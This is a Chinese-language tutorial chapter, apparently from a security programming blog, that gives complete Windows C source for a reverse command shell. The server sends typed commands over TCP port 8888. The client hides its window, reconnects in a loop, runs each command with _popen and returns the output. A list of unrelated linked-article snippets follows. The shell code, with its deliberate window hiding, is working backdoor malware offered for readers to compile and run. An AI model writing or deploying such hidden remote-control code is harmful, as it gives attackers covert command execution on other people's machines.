在本节,我们将继续深入探讨套接字通信技术,并介绍一种常见的用法,实现反向远程命令执行功能。对于安全从业者而言,经常需要在远程主机上执行命令并获取执行结果。本节将介绍如何利用 _popen() 函数来启动命令行进程,并将输出通过套接字发送回服务端,从而实现远程命令执行的功能。

在实现反向远程命令执行时,我们可以使用 _popen(buf, "r") 函数来执行特定的命令,并将其输出重定向到一个可读的缓冲区中。这个缓冲区将保存命令的输出内容,我们可以将其发送回控制程序,也就是服务端,从而实现远程命令执行的目标。

首先我们来看一下_popen()函数的原型定义。

FILE *_popen(const char *command, const char *mode);

该函数接受两个参数:

  • command:字符串,包含要执行的命令行指令。
  • mode:字符串,用于指定管道的打开方式,支持 "r" 和 "w" 两种模式。

函数返回一个FILE结构体指针,该指针指向一个由命令产生的输出流。在执行命令时,该函数将创建一个进程来运行命令,并从该进程的标准输出流中读取输出。然后该函数将返回一个文件指针,该文件指针包装了一个文件描述符,用于访问输出流。最终,用户可以使用标准的文件读取操作(如 fread()、fgets() 等)从该文件指针中读取输出,有了该函数的支持再配合套接字即可实现远程命令执行的效果;

14.2.1 服务端实现

如下代码实现了一个基于Windows平台的简单TCP反向shell。该程序可以监听本地的某一端口(默认为 8888),并等待外部客户端的连接。当有新的客户端连接时,程序会等待用户在终端上输入要执行的命令,并将该命令发送给客户端。客户端执行该命令并将执行结果回显到服务端,服务端则将回显结果输出到终端上。

#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h> #pragma comment(lib,"ws2_32.lib") int main(int argc, char *argv[])
{
WSADATA wsaData;
SOCKET sock, Sclient;
struct sockaddr_in sin, client;
int nAddrLen = sizeof(client); // 初始化套接字库
WSAStartup(MAKEWORD(2, 2), &wsaData); // 初始化Socket
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 填充变量
sin.sin_family = AF_INET;
sin.sin_port = htons(8888);
sin.sin_addr.S_un.S_addr = INADDR_ANY; // 绑定套接字
bind(sock, (struct sockaddr*) & sin, sizeof(sin)); char buf[40960] = { 0 }; // 循环等待套接字事件
while (1)
{
// 侦听套接字
if (listen(sock, 20) != SOCKET_ERROR)
{
// 有链接时则接收
Sclient = accept(sock, (SOCKADDR*)&client, &nAddrLen);
int input_len = 0; char send_cmd[2048] = { 0 };
printf("[%s:%5d] # ", inet_ntoa(client.sin_addr), htons(client.sin_port)); // 输入数据,以回车键为结束标识
while ((send_cmd[input_len++] = getchar()) != '\n')
{
;
} // 发送输入的命令
send(Sclient, send_cmd, sizeof(send_cmd), 0); // 循环接收回显
while (recv(Sclient, buf, sizeof(buf), 0) > 0)
{
printf("%s", buf);
memset(buf, 0, sizeof(buf));
}
} // 关闭通信
closesocket(Sclient);
} // 关闭库
WSACleanup();
return 0;
}

14.2.2 客户端实现

客户端实现首先在开头部分通过增加一个链接器选项,该选项的作用是启动程序时不显示命令行窗口一次来实现隐藏窗体的目的,在程序中通过recv()函数在服务端接收一条命令行参数,并通过调用_popen(buf, "r")执行本地命令行并将输出结果保存在buf变量内,最后通过调用send()函数将执行结果发送给服务端,以此来实现反向命令执行的功能;

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h> #pragma comment(lib,"ws2_32.lib") int main(int argc, char *argv[])
{
WSADATA wsaData;
SOCKET socks;
struct sockaddr_in sin;
CHAR buf[1024]; // 初始化套接字库
WSAStartup(MAKEWORD(2, 2), &wsaData); while (1)
{
socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sin.sin_family = AF_INET;
sin.sin_port = htons(8888);
sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); // 连接到远程
if (connect(socks, (struct sockaddr*) &sin, sizeof(sin)) != SOCKET_ERROR)
{
// buf 里面就是接收到的执行命令行
memset(buf, 0, sizeof(buf));
int ret = recv(socks, buf, sizeof(buf), 0);
if (ret > 0)
{
char recv_data[1024] = { 0 }; // 执行远程命令
FILE *fp = _popen(buf, "r"); // 循环读取并发送数据,每次发送1024字节
while (fgets(recv_data, 1024, fp) != NULL)
{
send(socks, recv_data, sizeof(recv_data), 0);
fprintf(stderr, "%s", recv_data);
memset(recv_data, 0, sizeof(recv_data));
Sleep(10);
}
}
}
memset(buf, 0, sizeof(buf));
closesocket(socks);
Sleep(1);
}
WSACleanup();
return 0;
}

读者可自行编译并运行这两个程序,首先运行服务端接着运行客户端,当服务端接收到上线消息后,读者可自行执行一些系统命令,此时会看到客户端的输出效果如下图所示;

14.2 Socket 反向远程命令行的更多相关文章

  1. 教程一 openwrt路由器入门 远程命令行+文件系统

    如图,拿到一个openwrt路由器我们第一步要远程控制. 这里在买了两块wifi-robots  wifi视频模块. 0首先说下这个WIIF的信息 淘宝购买链接 https://item.taobao ...

  2. ubuntu 的远程命令行,老是不能支持联想

    首先发现没有source命令,非常奇怪,google发现是dash命令的问题. $ls -l `which sh` /bin/sh -> dash $sudo dpkg-reconfigure ...

  3. Ubuntu下全命令行安装Android SDK

    为了在AWS云服务器上实现自动化打包Android APP的APK包,我需要远程命令行环境下安装Android SDK,当然还要用代理或者科学上网,这里简单整理一下过程: 首先,由于墙的原因,Andr ...

  4. 原创:vsphere概念深入系列三:vSphere命令行管理

    假设无法近距离接触物理主机,只能远程命令行管理,. 以下命令行可以起到点作用. 首先需要安装vSphere CLI工具. 启动后界面: 1.查看datastore内容 所有命令行工具都可以加上-ser ...

  5. windbg命令行选项

    我们不仅可以通过GUI的方式使用Windbg,还可以通过命令行的方式使用它,且在有些需求和使用场景下,只能使用命令行模式  windbg命令行使用以下语法: windbg [ -server Serv ...

  6. Git - 命令行 常用

    一.合并其他分支的commit(A分支中的commit合并至B分支) 切换到A分支,查询commit历史命令行 : $ git log 复制要合并的commit id (如:663802dfb121e ...

  7. vscode带命令行参数进行调试

    vscode带命令行参数进行调试 2.输入代码 { // 使用 IntelliSense 了解相关属性. // 悬停以查看现有属性的描述. // 欲了解更多信息,请访问: https://go.mic ...

  8. .NET 跨平台RPC框架DotNettyRPC Web后台快速开发框架(.NET Core) EasyWcf------无需配置,无需引用,动态绑定,轻松使用 C# .NET 0配置使用Wcf(半成品) C# .NET Socket 简单实用框架 C# .NET 0命令行安装Windows服务程序

    .NET 跨平台RPC框架DotNettyRPC   DotNettyRPC 1.简介 DotNettyRPC是一个基于DotNetty的跨平台RPC框架,支持.NET45以及.NET Standar ...

  9. python练习-Socket实现远程cmd命令

    需求:基于tcp的套接字实现远程执行命令的操作 代码示例: # 编辑者:闫龙 #Client端部分 import socket #导入骚凯特模块 CmdObj = socket.socket(sock ...

  10. Web_telnet 通过JAVA实现网页上面的命令行远程工具 以及对于流的理解

    前言 这几天研究了一下如何在web页面上通过telnet 连接一个远程的机器,通过命令行进行控制,让然,B/S架构的项目,如果直接通过 浏览器是无法和远程机器进行通信的,我们就得借助后端来帮助实现这样 ...

随机推荐

  1. 收到一封CTO来信,邀约面试机器学习工程师

    大家好,我是北海 很少登陆 Gmail,前天收验证码登了一下,发现居然收到一封某初创公司CTO的来信. 我在Github上看到了您的资料觉得很有意思,请问您是否考虑我们公司的全职工作机会呢?可供考虑的 ...

  2. BZOJ 3450 - Tyvj1952 Easy (期望DP)

    描述 某一天 WJMZBMR 在打 osu~~~ 但是他太弱逼了,有些地方完全靠运气:( 我们来简化一下这个游戏的规则: 有 \(n(n\le 300000)\) 次点击要做,成功了就是 o,失败了就 ...

  3. 密码加密bcrypt

  4. AHB-SRAMC Design-03

    SRAMC SRAM CORE 8块memory进行广播信号,例化8片memory

  5. SpringMVC03—RestFul和Controller

    控制器Controller 控制器复杂提供访问应用程序的行为,通常通过接口定义或注解定义两种方法实现. 控制器负责解析用户的请求并将其转换为一个模型. 在Spring MVC中一个控制器类可以包含多个 ...

  6. Qt5.9 UI设计(六)——TitleBar功能实现

    前言 上一章介绍了ControlTreeWidget 与ControlTabWidget联动的功能,这一章我们将实现自定义 TitleBar 的功能 操作步骤 修改按键图标最大和最小值 右键按键图标, ...

  7. 使用Java分析器优化代码性能,解决OOM问题

    有的时候博客内容会有变动,首发博客是最新的,其他博客地址可能会未同步,认准https://blog.zysicyj.top 首发博客地址 背景 最近我一直在做性能优化,对一个单机应用做性能优化.主要是 ...

  8. Redis异常问题分析黄金一分钟

    Redis异常问题分析黄金一分钟 背景 同事发现一个环境redis比较卡顿,导致业务比较难以开展. 问题是下午出现的. 六点左右找到我这边. 想着帮忙看看, 问题其实没有定位完全, 仅是发现了一个可能 ...

  9. [转帖]k8s ipv4/ipv6双栈实践

    https://www.iceyao.com.cn/post/2020-11-28-k8s_dual_stack/ Posted by 爱折腾的工程师 on Saturday, November 28 ...

  10. [转帖]SQL Server 2008~2022版本序列号/密钥/激活码 汇总

    https://www.cnblogs.com/cqpanda/p/16148822.html SQL Server 2022# Enterprise: J4V48-P8MM4-9N3J9-HD97X ...